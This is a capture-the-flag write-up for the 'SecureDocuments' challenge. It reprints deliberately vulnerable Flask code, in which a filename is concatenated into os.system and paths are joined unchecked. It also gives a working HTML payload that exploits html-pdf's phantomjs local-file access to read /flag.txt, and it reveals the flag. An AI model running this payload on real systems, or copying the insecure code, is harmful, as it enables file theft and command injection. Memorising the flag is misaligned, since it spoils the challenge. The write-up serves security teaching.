Our company wants to present You our newest innovative idea - SecureDocuments. Using the most recent technologies we created the most secure place for your documents. https://securedocuments.pleasehackthis.site


Link to the challenge



For this challenge we’re given a URL and a source zip containing the source code the application.

When we visit the page we’re presented with a file upload form. Landing page

Let’s first take a look at the dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
FROM node:stretch

RUN apt-get update && \
	apt-get install python3 python3-pip gcc -y

WORKDIR /var/app
ENV FLASK_APP=app.py
ENV FLASK_RUN_HOST=0.0.0.0
ENV LC_ALL=C.UTF-8
ENV LANG=C.UTF-8

COPY ./app/ ./
COPY flag.txt /flag.txt

RUN python3 -m pip install -r requirements.txt
EXPOSE 5000

RUN npm install -g html-pdf

CMD ["flask", "run"]

We can see that it installs python, pip and gcc, sets up the application and also installs html-pdf.

Let’s now take a look at the application itself.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import imghdr
import os
import uuid
import subprocess
import requests
from flask import Flask, render_template, request, redirect, url_for, abort, send_from_directory, make_response
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.html', '.txt', '.md', '.jpg', '.png']
app.config['UPLOAD_PATH'] = 'storage'

@app.errorhandler(413)
def too_large(e):
    return "File is too large", 413

@app.route('/')
def index():
    if not os.path.exists(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR']):
        os.makedirs(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'])
    files = os.listdir(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'])
    return render_template('index.html', files=files)

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        file_to_save = uuid.uuid4().hex + file_ext
        if file_ext not in app.config['UPLOAD_EXTENSIONS']:
            return "Invalid file", 400
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'], file_to_save))
    return '', 204

@app.route('/uploads', methods=['POST'])
def upload():
    filename = request.form['filename']
    response = make_response(send_from_directory(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'], filename))
    file_ext = os.path.splitext(filename)[1]
    if 'htm' in file_ext:
        response.mimetype = "text/plain"
    return response

@app.route('/delete', methods=['POST'])
def delete():
    filename = request.form['filename']
    if os.path.exists(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'] + "/" + filename):
        os.remove(app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'] + "/" + filename)
        return 'File removed successfuly - <a href="/">Go Back</a>', 200
    else:
        return 'File with specified name does not exist - <a href="/">Go Back</a>', 404

@app.route('/convert', methods=['POST'])
def convert():
    filename = request.form['filename']
    file = app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'] + "/" + filename
    if os.path.exists(file):
        file_ext = os.path.splitext(filename)[1]
        file_uuid = os.path.splitext(filename)[0]
        new_file = "./" + app.config['UPLOAD_PATH'] + "/" + request.environ['REMOTE_ADDR'] + "/" + file_uuid + ".pdf"
        if file_ext == '.html':
            os.system('html-pdf ./' + file + ' ' + new_file)
            return 'File conversion completed - <a href="/">Go Back</a>', 200
        elif file_ext == '.md':
            return 'Markdown files are not supported right now - <a href="/">Go Back</a>', 200
        else:
            return 'File with specified extenstion cannot be converted - <a href="/">Go Back</a>', 400

    else:
        return 'Internal Server Error - <a href="/">Go Back</a>', 500


The application allows us to perform 4 actions:

The three first actions are pretty basic, they do their thing as described. The convert feature though uses a “html-pdf” tool to convert the file.
When looking for vulnerabilities in this program we can stumble upon a vulnerability report by snyk.io describing an arbitrary file read.
(At the time of writing the current setup wouldn’t have worked since the patched 3.0.0 release is out and would be installed instead of the vulnerable version)

The report describes how it’s possible to include local/remote files via an XHR request.
The vulnerability is caused by an insecure default in the underlying phantomjs module which has “–local-url-access” set to true by default.

To exploit this vulnerability we can prepare a simple html file that upon loading will make a request to fetch the flag file and place it into the document body.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
  </head>
  <body>
    <p id="response"></p>
    <script>
      var output = document.getElementById("response");
      var fileReq = new XMLHttpRequest();
      fileReq.onload = function reqListener() {
        output.innerHTML = this.responseText;
      };
      fileReq.open("GET", "file:///flag.txt", true);
      fileReq.send();
    </script>
  </body>
</html>


After uploading this file to the application, we should see it listed on the main page. Listed file

Now we can click the convert icon, refresh the page and view the pdf version of our file to get the flag. flag


Flag: CTF{So_pDf_93N3R4TOR_c4n_sT34l_MY_f1L32!!!!!1111oN3}